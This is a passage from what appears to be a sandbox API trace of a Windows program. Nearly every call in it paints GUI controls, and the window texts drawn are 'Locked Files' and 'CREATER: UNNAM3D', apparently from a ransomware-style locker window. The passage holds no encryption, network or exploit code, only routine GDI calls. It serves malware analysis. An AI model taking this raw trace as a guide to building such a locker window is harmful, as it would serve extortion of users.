(hWnd=0x10166, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0131.266] CallWindowProcW (lpPrevWndFunc=0x72f820fa, hWnd=0x10166, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0131.267] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.267] IsWindowUnicode (hWnd=0x10168) returned 1 [0131.267] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.267] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0131.267] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0131.267] BeginPaint (in: hWnd=0x10168, lpPaint=0xb6ebac | out: lpPaint=0xb6ebac) returned 0x1401007f [0131.267] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10168, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.267] SelectPalette (hdc=0x1401007f, hPal=0x29080216, bForceBkgd=1) returned 0x188000b [0131.267] CreateCompatibleDC (hdc=0x1401007f) returned 0x10010210 [0131.267] SelectObject (hdc=0x10010210, h=0x405020e) returned 0x185000f [0131.267] GdipCreateFromHDC (hdc=0x10010210, graphics=0xb6ebc4) returned 0x0 [0131.267] GdipTranslateWorldTransform (graphics=0x5c59bb8, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0131.267] GdipSetClipRectI (graphics=0x5c59bb8, x=0, y=0, width=79, height=13, combineMode=0x0) returned 0x0 [0131.267] GdipCreateMatrix (matrix=0xb6ec0c) returned 0x0 [0131.267] GdipGetWorldTransform (graphics=0x5c59bb8, matrix=0x5c59e98) returned 0x0 [0131.267] GdipIsMatrixIdentity (matrix=0x5c59e98, result=0xb6ec24) returned 0x0 [0131.267] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.267] GdipGetMatrixElements (matrix=0x5c59e98, matrixOut=0xe029a0) returned 0x0 [0131.267] LocalFree (hMem=0xe029a0) returned 0x0 [0131.267] GdipDeleteMatrix (matrix=0x5c59e98) returned 0x0 [0131.267] GdipCreateRegion (region=0xb6ec0c) returned 0x0 [0131.267] GdipGetClip (graphics=0x5c59bb8, region=0x5c59ec8) returned 0x0 [0131.267] GdipIsInfiniteRegion (region=0x5c59ec8, graphics=0x5c59bb8, result=0xb6ec18) returned 0x0 [0131.267] GdipSaveGraphics (graphics=0x5c59bb8, state=0xb6ec44) returned 0x0 [0131.268] GetWindowTextLengthW (hWnd=0x10168) returned 12 [0131.268] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10168, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xc [0131.268] GetSystemMetrics (nIndex=42) returned 0 [0131.268] GetWindowTextW (in: hWnd=0x10168, lpString=0xb6eb44, nMaxCount=13 | out: lpString="Locked Files") returned 12 [0131.268] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10168, Msg=0xd, wParam=0xd, lParam=0xb6eb44) returned 0xc [0131.268] GetClientRect (in: hWnd=0x10168, lpRect=0xb6ec0c | out: lpRect=0xb6ec0c) returned 1 [0131.268] GdipCreateRegion (region=0xb6ea60) returned 0x0 [0131.268] GdipGetClip (graphics=0x5c59bb8, region=0x5c59f58) returned 0x0 [0131.268] GdipCreateMatrix (matrix=0xb6ea60) returned 0x0 [0131.268] GdipGetWorldTransform (graphics=0x5c59bb8, matrix=0x59aea90) returned 0x0 [0131.268] GdipIsMatrixIdentity (matrix=0x59aea90, result=0xb6ea78) returned 0x0 [0131.268] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.268] GdipGetMatrixElements (matrix=0x59aea90, matrixOut=0xe029a0) returned 0x0 [0131.268] LocalFree (hMem=0xe029a0) returned 0x0 [0131.268] GdipCombineRegionRegion (region=0x5c59f58, region2=0x5c59ec8, combineMode=0x1) returned 0x0 [0131.268] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.268] GdipGetMatrixElements (matrix=0x59aea90, matrixOut=0xe029a0) returned 0x0 [0131.268] LocalFree (hMem=0xe029a0) returned 0x0 [0131.268] GdipDeleteMatrix (matrix=0x59aea90) returned 0x0 [0131.268] GdipIsInfiniteRegion (region=0x5c59f58, graphics=0x5c59bb8, result=0xb6eaa0) returned 0x0 [0131.268] GdipIsInfiniteRegion (region=0x5c59f58, graphics=0x5c59bb8, result=0xb6ea90) returned 0x0 [0131.268] GdipGetRegionHRgn (region=0x5c59f58, graphics=0x5c59bb8, hRgn=0xb6ea90) returned 0x0 [0131.268] GdipDeleteRegion (region=0x5c59f58) returned 0x0 [0131.268] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6eaa8) returned 0x0 [0131.268] GetCurrentObject (hdc=0x10010210, type=0x1) returned 0x1b00017 [0131.268] GetCurrentObject (hdc=0x10010210, type=0x2) returned 0x1900010 [0131.268] GetCurrentObject (hdc=0x10010210, type=0x7) returned 0x405020e [0131.268] GetCurrentObject (hdc=0x10010210, type=0x6) returned 0x18a002e [0131.268] SaveDC (hdc=0x10010210) returned 1 [0131.268] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x904021a [0131.268] GetClipRgn (hdc=0x10010210, hrgn=0x904021a) returned 0 [0131.268] SelectClipRgn (hdc=0x10010210, hrgn=0x15040229) returned 2 [0131.268] DeleteObject (ho=0x904021a) returned 1 [0131.268] DeleteObject (ho=0x15040229) returned 1 [0131.268] OffsetViewportOrgEx (in: hdc=0x10010210, x=0, y=0, lppt=0x2adcecc | out: lppt=0x2adcecc) returned 1 [0131.268] GetNearestColor (hdc=0x10010210, color=0x0) returned 0x0 [0131.269] CreateSolidBrush (color=0x0) returned 0xa10020f [0131.269] FillRect (hDC=0x10010210, lprc=0xb6eaac, hbr=0xa10020f) returned 1 [0131.269] DeleteObject (ho=0xa10020f) returned 1 [0131.269] RestoreDC (hdc=0x10010210, nSavedDC=-1) returned 1 [0131.269] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x10010210) returned 0x0 [0131.269] GdipRestoreGraphics (graphics=0x5c59bb8, state=0xfdb50dbd) returned 0x0 [0131.269] GdipDeleteRegion (region=0x5c59ec8) returned 0x0 [0131.269] GetWindowTextLengthW (hWnd=0x10168) returned 12 [0131.269] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10168, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xc [0131.269] GetSystemMetrics (nIndex=42) returned 0 [0131.269] GetWindowTextW (in: hWnd=0x10168, lpString=0xb6eb44, nMaxCount=13 | out: lpString="Locked Files") returned 12 [0131.269] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10168, Msg=0xd, wParam=0xd, lParam=0xb6eb44) returned 0xc [0131.269] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6eac8) returned 0x0 [0131.269] GetCurrentObject (hdc=0x10010210, type=0x1) returned 0x1b00017 [0131.269] GetCurrentObject (hdc=0x10010210, type=0x2) returned 0x1900010 [0131.269] GetCurrentObject (hdc=0x10010210, type=0x7) returned 0x405020e [0131.269] GetCurrentObject (hdc=0x10010210, type=0x6) returned 0x18a002e [0131.269] SaveDC (hdc=0x10010210) returned 1 [0131.269] GetNearestColor (hdc=0x10010210, color=0x80) returned 0x80 [0131.269] RestoreDC (hdc=0x10010210, nSavedDC=-1) returned 1 [0131.269] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x10010210) returned 0x0 [0131.269] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73000000 [0131.269] AdjustWindowRectEx (in: lpRect=0xb6e9ec, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6e9ec) returned 1 [0131.269] GdipGetTextRenderingHint (graphics=0x5c59bb8, mode=0xb6ea68) returned 0x0 [0131.269] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6ea54) returned 0x0 [0131.269] GetCurrentObject (hdc=0x10010210, type=0x1) returned 0x1b00017 [0131.269] GetCurrentObject (hdc=0x10010210, type=0x2) returned 0x1900010 [0131.269] GetCurrentObject (hdc=0x10010210, type=0x7) returned 0x405020e [0131.269] GetCurrentObject (hdc=0x10010210, type=0x6) returned 0x18a002e [0131.270] SaveDC (hdc=0x10010210) returned 1 [0131.270] GetTextAlign (hdc=0x10010210) returned 0x0 [0131.270] GetTextColor (hdc=0x10010210) returned 0x0 [0131.270] SetTextColor (hdc=0x10010210, color=0x80) returned 0x0 [0131.270] GetCurrentObject (hdc=0x10010210, type=0x6) returned 0x18a002e [0131.270] GetObjectW (in: h=0x18a002e, c=92, pv=0xb6e75c | out: pv=0xb6e75c) returned 92 [0131.273] SelectObject (hdc=0x10010210, h=0x80a022c) returned 0x18a002e [0131.273] GetBkMode (hdc=0x10010210) returned 2 [0131.273] SetBkMode (hdc=0x10010210, mode=1) returned 2 [0131.273] DrawTextExW (in: hdc=0x10010210, lpchText="Locked Files", cchText=12, lprc=0xb6e9e8, format=0x100000, lpdtp=0x2add3c0 | out: lpchText="Locked Files", lprc=0xb6e9e8) returned 13 [0131.273] RestoreDC (hdc=0x10010210, nSavedDC=-1) returned 1 [0131.273] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x10010210) returned 0x0 [0131.273] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6ec04) returned 0x0 [0131.273] BitBlt (hdc=0x1401007f, x=0, y=0, cx=79, cy=13, hdcSrc=0x10010210, x1=0, y1=0, rop=0xcc0020) returned 1 [0131.273] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x10010210) returned 0x0 [0131.273] SelectPalette (hdc=0x1401007f, hPal=0x188000b, bForceBkgd=0) returned 0x29080216 [0131.273] SelectObject (hdc=0x10010210, h=0x185000f) returned 0x405020e [0131.273] DeleteDC (hdc=0x10010210) returned 1 [0131.273] GdipDeleteGraphics (graphics=0x5c59bb8) returned 0x0 [0131.273] EndPaint (hWnd=0x10168, lpPaint=0xb6eba8) returned 1 [0131.273] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.273] IsWindowUnicode (hWnd=0x1016a) returned 1 [0131.273] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.273] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0131.273] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0131.273] BeginPaint (in: hWnd=0x1016a, lpPaint=0xb6ebe8 | out: lpPaint=0xb6ebe8) returned 0xc0107d9 [0131.273] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1016a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.274] SelectPalette (hdc=0xc0107d9, hPal=0x29080216, bForceBkgd=1) returned 0x188000b [0131.274] CreateCompatibleDC (hdc=0xc0107d9) returned 0x13010210 [0131.274] DeleteObject (ho=0x405020e) returned 1 [0131.274] GetObjectType (h=0xc0107d9) returned 0x3 [0131.274] CreateCompatibleBitmap (hdc=0xc0107d9, cx=1, cy=1) returned 0x905020d [0131.274] GetDIBits (in: hdc=0xc0107d9, hbm=0x905020d, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0xb6e6d8, usage=0x0 | out: lpvBits=0x0, lpbmi=0xb6e6d8) returned 1 [0131.274] GetDIBits (in: hdc=0xc0107d9, hbm=0x905020d, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0xb6e6d8, usage=0x0 | out: lpvBits=0x0, lpbmi=0xb6e6d8) returned 1 [0131.274] DeleteObject (ho=0x905020d) returned 1 [0131.274] CreateDIBSection (in: hdc=0xc0107d9, lpbmi=0xb6e728, usage=0x0, ppvBits=0xb6ec1c, hSection=0x0, offset=0x0 | out: ppvBits=0xb6ec1c) returned 0x505020e [0131.274] SelectObject (hdc=0x13010210, h=0x505020e) returned 0x185000f [0131.274] GdipCreateFromHDC (hdc=0x13010210, graphics=0xb6ec00) returned 0x0 [0131.274] GdipTranslateWorldTransform (graphics=0x5c59bb8, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0131.274] GdipSetClipRectI (graphics=0x5c59bb8, x=3, y=9, width=12, height=10, combineMode=0x0) returned 0x0 [0131.274] GdipCreateMatrix (matrix=0xb6ec48) returned 0x0 [0131.274] GdipGetWorldTransform (graphics=0x5c59bb8, matrix=0x5c59e98) returned 0x0 [0131.274] GdipIsMatrixIdentity (matrix=0x5c59e98, result=0xb6ec60) returned 0x0 [0131.274] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.274] GdipGetMatrixElements (matrix=0x5c59e98, matrixOut=0xe029a0) returned 0x0 [0131.274] LocalFree (hMem=0xe029a0) returned 0x0 [0131.274] GdipDeleteMatrix (matrix=0x5c59e98) returned 0x0 [0131.274] GdipCreateRegion (region=0xb6ec48) returned 0x0 [0131.274] GdipGetClip (graphics=0x5c59bb8, region=0x5c59ec8) returned 0x0 [0131.275] GdipIsInfiniteRegion (region=0x5c59ec8, graphics=0x5c59bb8, result=0xb6ec54) returned 0x0 [0131.275] GdipSaveGraphics (graphics=0x5c59bb8, state=0xb6ec80) returned 0x0 [0131.275] GetWindowTextLengthW (hWnd=0x1016a) returned 0 [0131.275] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1016a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0131.275] GetSystemMetrics (nIndex=42) returned 0 [0131.275] GetWindowTextW (in: hWnd=0x1016a, lpString=0xb6eb98, nMaxCount=1 | out: lpString="") returned 0 [0131.275] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1016a, Msg=0xd, wParam=0x1, lParam=0xb6eb98) returned 0x0 [0131.275] GetClientRect (in: hWnd=0x1016a, lpRect=0xb6ec48 | out: lpRect=0xb6ec48) returned 1 [0131.275] GdipCreateRegion (region=0xb6ea9c) returned 0x0 [0131.275] GdipGetClip (graphics=0x5c59bb8, region=0x5c59f58) returned 0x0 [0131.275] GdipCreateMatrix (matrix=0xb6ea9c) returned 0x0 [0131.275] GdipGetWorldTransform (graphics=0x5c59bb8, matrix=0x59aea90) returned 0x0 [0131.275] GdipIsMatrixIdentity (matrix=0x59aea90, result=0xb6eab4) returned 0x0 [0131.275] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.275] GdipGetMatrixElements (matrix=0x59aea90, matrixOut=0xe029a0) returned 0x0 [0131.275] LocalFree (hMem=0xe029a0) returned 0x0 [0131.275] GdipCombineRegionRegion (region=0x5c59f58, region2=0x5c59ec8, combineMode=0x1) returned 0x0 [0131.275] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.275] GdipGetMatrixElements (matrix=0x59aea90, matrixOut=0xe029a0) returned 0x0 [0131.275] LocalFree (hMem=0xe029a0) returned 0x0 [0131.275] GdipDeleteMatrix (matrix=0x59aea90) returned 0x0 [0131.275] GdipIsInfiniteRegion (region=0x5c59f58, graphics=0x5c59bb8, result=0xb6eadc) returned 0x0 [0131.275] GdipIsInfiniteRegion (region=0x5c59f58, graphics=0x5c59bb8, result=0xb6eacc) returned 0x0 [0131.275] GdipGetRegionHRgn (region=0x5c59f58, graphics=0x5c59bb8, hRgn=0xb6eacc) returned 0x0 [0131.275] GdipDeleteRegion (region=0x5c59f58) returned 0x0 [0131.275] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6eae4) returned 0x0 [0131.275] GetCurrentObject (hdc=0x13010210, type=0x1) returned 0x1b00017 [0131.275] GetCurrentObject (hdc=0x13010210, type=0x2) returned 0x1900010 [0131.275] GetCurrentObject (hdc=0x13010210, type=0x7) returned 0x505020e [0131.275] GetCurrentObject (hdc=0x13010210, type=0x6) returned 0x18a002e [0131.275] SaveDC (hdc=0x13010210) returned 1 [0131.275] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x16040229 [0131.275] GetClipRgn (hdc=0x13010210, hrgn=0x16040229) returned 0 [0131.275] SelectClipRgn (hdc=0x13010210, hrgn=0xb04021a) returned 2 [0131.275] DeleteObject (ho=0x16040229) returned 1 [0131.275] DeleteObject (ho=0xb04021a) returned 1 [0131.276] OffsetViewportOrgEx (in: hdc=0x13010210, x=0, y=0, lppt=0x2ade7b0 | out: lppt=0x2ade7b0) returned 1 [0131.276] GetNearestColor (hdc=0x13010210, color=0x0) returned 0x0 [0131.276] CreateSolidBrush (color=0x0) returned 0xb10020f [0131.276] FillRect (hDC=0x13010210, lprc=0xb6eae8, hbr=0xb10020f) returned 1 [0131.276] DeleteObject (ho=0xb10020f) returned 1 [0131.276] RestoreDC (hdc=0x13010210, nSavedDC=-1) returned 1 [0131.276] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x13010210) returned 0x0 [0131.276] GdipRestoreGraphics (graphics=0x5c59bb8, state=0xfdb30dbd) returned 0x0 [0131.276] GdipDeleteRegion (region=0x5c59ec8) returned 0x0 [0131.276] GetWindowTextLengthW (hWnd=0x1016a) returned 0 [0131.276] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1016a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0131.276] GetSystemMetrics (nIndex=42) returned 0 [0131.276] GetWindowTextW (in: hWnd=0x1016a, lpString=0xb6eb98, nMaxCount=1 | out: lpString="") returned 0 [0131.276] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1016a, Msg=0xd, wParam=0x1, lParam=0xb6eb98) returned 0x0 [0131.276] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6ec40) returned 0x0 [0131.276] BitBlt (hdc=0xc0107d9, x=0, y=0, cx=15, cy=19, hdcSrc=0x13010210, x1=0, y1=0, rop=0xcc0020) returned 1 [0131.276] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x13010210) returned 0x0 [0131.276] SelectPalette (hdc=0xc0107d9, hPal=0x188000b, bForceBkgd=0) returned 0x29080216 [0131.276] SelectObject (hdc=0x13010210, h=0x185000f) returned 0x505020e [0131.276] DeleteDC (hdc=0x13010210) returned 1 [0131.276] GdipDeleteGraphics (graphics=0x5c59bb8) returned 0x0 [0131.276] EndPaint (hWnd=0x1016a, lpPaint=0xb6ebe4) returned 1 [0131.276] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.276] IsWindowUnicode (hWnd=0x1016c) returned 1 [0131.276] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.276] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0131.276] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0131.276] BeginPaint (in: hWnd=0x1016c, lpPaint=0xb6ebac | out: lpPaint=0xb6ebac) returned 0x100101b7 [0131.276] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.277] SelectPalette (hdc=0x100101b7, hPal=0x29080216, bForceBkgd=1) returned 0x188000b [0131.277] CreateCompatibleDC (hdc=0x100101b7) returned 0x16010210 [0131.277] DeleteObject (ho=0x505020e) returned 1 [0131.277] GetObjectType (h=0x100101b7) returned 0x3 [0131.277] CreateCompatibleBitmap (hdc=0x100101b7, cx=1, cy=1) returned 0xb05020d [0131.277] GetDIBits (in: hdc=0x100101b7, hbm=0xb05020d, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0xb6e69c, usage=0x0 | out: lpvBits=0x0, lpbmi=0xb6e69c) returned 1 [0131.277] GetDIBits (in: hdc=0x100101b7, hbm=0xb05020d, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0xb6e69c, usage=0x0 | out: lpvBits=0x0, lpbmi=0xb6e69c) returned 1 [0131.277] DeleteObject (ho=0xb05020d) returned 1 [0131.277] CreateDIBSection (in: hdc=0x100101b7, lpbmi=0xb6e6ec, usage=0x0, ppvBits=0xb6ebe0, hSection=0x0, offset=0x0 | out: ppvBits=0xb6ebe0) returned 0x605020e [0131.277] SelectObject (hdc=0x16010210, h=0x605020e) returned 0x185000f [0131.277] GdipCreateFromHDC (hdc=0x16010210, graphics=0xb6ebc4) returned 0x0 [0131.277] GdipTranslateWorldTransform (graphics=0x5c59bb8, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0131.277] GdipSetClipRectI (graphics=0x5c59bb8, x=0, y=0, width=146, height=15, combineMode=0x0) returned 0x0 [0131.277] GdipCreateMatrix (matrix=0xb6ec0c) returned 0x0 [0131.277] GdipGetWorldTransform (graphics=0x5c59bb8, matrix=0x5c59e98) returned 0x0 [0131.277] GdipIsMatrixIdentity (matrix=0x5c59e98, result=0xb6ec24) returned 0x0 [0131.277] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.277] GdipGetMatrixElements (matrix=0x5c59e98, matrixOut=0xe029a0) returned 0x0 [0131.277] LocalFree (hMem=0xe029a0) returned 0x0 [0131.277] GdipDeleteMatrix (matrix=0x5c59e98) returned 0x0 [0131.277] GdipCreateRegion (region=0xb6ec0c) returned 0x0 [0131.277] GdipGetClip (graphics=0x5c59bb8, region=0x5c59ec8) returned 0x0 [0131.278] GdipIsInfiniteRegion (region=0x5c59ec8, graphics=0x5c59bb8, result=0xb6ec18) returned 0x0 [0131.278] GdipSaveGraphics (graphics=0x5c59bb8, state=0xb6ec44) returned 0x0 [0131.278] GetWindowTextLengthW (hWnd=0x1016c) returned 16 [0131.278] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x10 [0131.278] GetSystemMetrics (nIndex=42) returned 0 [0131.278] GetWindowTextW (in: hWnd=0x1016c, lpString=0xb6eb3c, nMaxCount=17 | out: lpString="CREATER: UNNAM3D") returned 16 [0131.278] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016c, Msg=0xd, wParam=0x11, lParam=0xb6eb3c) returned 0x10 [0131.278] GetClientRect (in: hWnd=0x1016c, lpRect=0xb6ec0c | out: lpRect=0xb6ec0c) returned 1 [0131.278] GdipCreateRegion (region=0xb6ea60) returned 0x0 [0131.278] GdipGetClip (graphics=0x5c59bb8, region=0x5c59f58) returned 0x0 [0131.278] GdipCreateMatrix (matrix=0xb6ea60) returned 0x0 [0131.278] GdipGetWorldTransform (graphics=0x5c59bb8, matrix=0x59aea90) returned 0x0 [0131.278] GdipIsMatrixIdentity (matrix=0x59aea90, result=0xb6ea78) returned 0x0 [0131.278] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.278] GdipGetMatrixElements (matrix=0x59aea90, matrixOut=0xe029a0) returned 0x0 [0131.278] LocalFree (hMem=0xe029a0) returned 0x0 [0131.278] GdipCombineRegionRegion (region=0x5c59f58, region2=0x5c59ec8, combineMode=0x1) returned 0x0 [0131.278] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.278] GdipGetMatrixElements (matrix=0x59aea90, matrixOut=0xe029a0) returned 0x0 [0131.278] LocalFree (hMem=0xe029a0) returned 0x0 [0131.278] GdipDeleteMatrix (matrix=0x59aea90) returned 0x0 [0131.278] GdipIsInfiniteRegion (region=0x5c59f58, graphics=0x5c59bb8, result=0xb6eaa0) returned 0x0 [0131.278] GdipIsInfiniteRegion (region=0x5c59f58, graphics=0x5c59bb8, result=0xb6ea90) returned 0x0 [0131.278] GdipGetRegionHRgn (region=0x5c59f58, graphics=0x5c59bb8, hRgn=0xb6ea90) returned 0x0 [0131.278] GdipDeleteRegion (region=0x5c59f58) returned 0x0 [0131.278] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6eaa8) returned 0x0 [0131.278] GetCurrentObject (hdc=0x16010210, type=0x1) returned 0x1b00017 [0131.278] GetCurrentObject (hdc=0x16010210, type=0x2) returned 0x1900010 [0131.278] GetCurrentObject (hdc=0x16010210, type=0x7) returned 0x605020e [0131.278] GetCurrentObject (hdc=0x16010210, type=0x6) returned 0x18a002e [0131.278] SaveDC (hdc=0x16010210) returned 1 [0131.278] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xc04021a [0131.278] GetClipRgn (hdc=0x16010210, hrgn=0xc04021a) returned 0 [0131.278] SelectClipRgn (hdc=0x16010210, hrgn=0x17040229) returned 2 [0131.278] DeleteObject (ho=0xc04021a) returned 1 [0131.278] DeleteObject (ho=0x17040229) returned 1 [0131.279] OffsetViewportOrgEx (in: hdc=0x16010210, x=0, y=0, lppt=0x2adfcec | out: lppt=0x2adfcec) returned 1 [0131.279] GetNearestColor (hdc=0x16010210, color=0x0) returned 0x0 [0131.279] CreateSolidBrush (color=0x0) returned 0xc10020f [0131.279] FillRect (hDC=0x16010210, lprc=0xb6eaac, hbr=0xc10020f) returned 1 [0131.279] DeleteObject (ho=0xc10020f) returned 1 [0131.279] RestoreDC (hdc=0x16010210, nSavedDC=-1) returned 1 [0131.279] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x16010210) returned 0x0 [0131.279] GdipRestoreGraphics (graphics=0x5c59bb8, state=0xfdb10dbd) returned 0x0 [0131.279] GdipDeleteRegion (region=0x5c59ec8) returned 0x0 [0131.279] GetWindowTextLengthW (hWnd=0x1016c) returned 16 [0131.279] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x10 [0131.279] GetSystemMetrics (nIndex=42) returned 0 [0131.279] GetWindowTextW (in: hWnd=0x1016c, lpString=0xb6eb3c, nMaxCount=17 | out: lpString="CREATER: UNNAM3D") returned 16 [0131.279] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016c, Msg=0xd, wParam=0x11, lParam=0xb6eb3c) returned 0x10 [0131.279] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6eac8) returned 0x0 [0131.279] GetCurrentObject (hdc=0x16010210, type=0x1) returned 0x1b00017 [0131.279] GetCurrentObject (hdc=0x16010210, type=0x2) returned 0x1900010 [0131.279] GetCurrentObject (hdc=0x16010210, type=0x7) returned 0x605020e [0131.279] GetCurrentObject (hdc=0x16010210, type=0x6) returned 0x18a002e [0131.279] SaveDC (hdc=0x16010210) returned 1 [0131.279] GetNearestColor (hdc=0x16010210, color=0x80) returned 0x80 [0131.279] RestoreDC (hdc=0x16010210, nSavedDC=-1) returned 1 [0131.279] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x16010210) returned 0x0 [0131.279] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73000000 [0131.279] AdjustWindowRectEx (in: lpRect=0xb6e9ec, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6e9ec) returned 1 [0131.279] GdipGetTextRenderingHint (graphics=0x5c59bb8, mode=0xb6ea68) returned 0x0 [0131.279] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6ea54) returned 0x0 [0131.279] GetCurrentObject (hdc=0x16010210, type=0x1) returned 0x1b00017 [0131.280] GetCurrentObject (hdc=0x16010210, type=0x2) returned 0x1900010 [0131.280] GetCurrentObject (hdc=0x16010210, type=0x7) returned 0x605020e [0131.280] GetCurrentObject (hdc=0x16010210, type=0x6) returned 0x18a002e [0131.280] SaveDC (hdc=0x16010210) returned 1 [0131.280] GetTextAlign (hdc=0x16010210) returned 0x0 [0131.280] GetTextColor (hdc=0x16010210) returned 0x0 [0131.280] SetTextColor (hdc=0x16010210, color=0x80) returned 0x0 [0131.280] GetCurrentObject (hdc=0x16010210, type=0x6) returned 0x18a002e [0131.280] GetObjectW (in: h=0x18a002e, c=92, pv=0xb6e75c | out: pv=0xb6e75c) returned 92 [0131.280] SelectObject (hdc=0x16010210, h=0x2f0a022a) returned 0x18a002e [0131.280] GetBkMode (hdc=0x16010210) returned 2 [0131.280] SetBkMode (hdc=0x16010210, mode=1) returned 2 [0131.280] DrawTextExW (in: hdc=0x16010210, lpchText="CREATER: UNNAM3D", cchText=16, lprc=0xb6e9e8, format=0x100000, lpdtp=0x2ae01f8 | out: lpchText="CREATER: UNNAM3D", lprc=0xb6e9e8) returned 15 [0131.281] RestoreDC (hdc=0x16010210, nSavedDC=-1) returned 1 [0131.281] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x16010210) returned 0x0 [0131.281] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6ec04) returned 0x0 [0131.281] BitBlt (hdc=0x100101b7, x=0, y=0, cx=146, cy=15, hdcSrc=0x16010210, x1=0, y1=0, rop=0xcc0020) returned 1 [0131.281] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x16010210) returned 0x0 [0131.281] SelectPalette (hdc=0x100101b7, hPal=0x188000b, bForceBkgd=0) returned 0x29080216 [0131.281] SelectObject (hdc=0x16010210, h=0x185000f) returned 0x605020e [0131.281] DeleteDC (hdc=0x16010210) returned 1 [0131.281] GdipDeleteGraphics (graphics=0x5c59bb8) returned 0x0 [0131.281] EndPaint (hWnd=0x1016c, lpPaint=0xb6eba8) returned 1 [0131.281] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 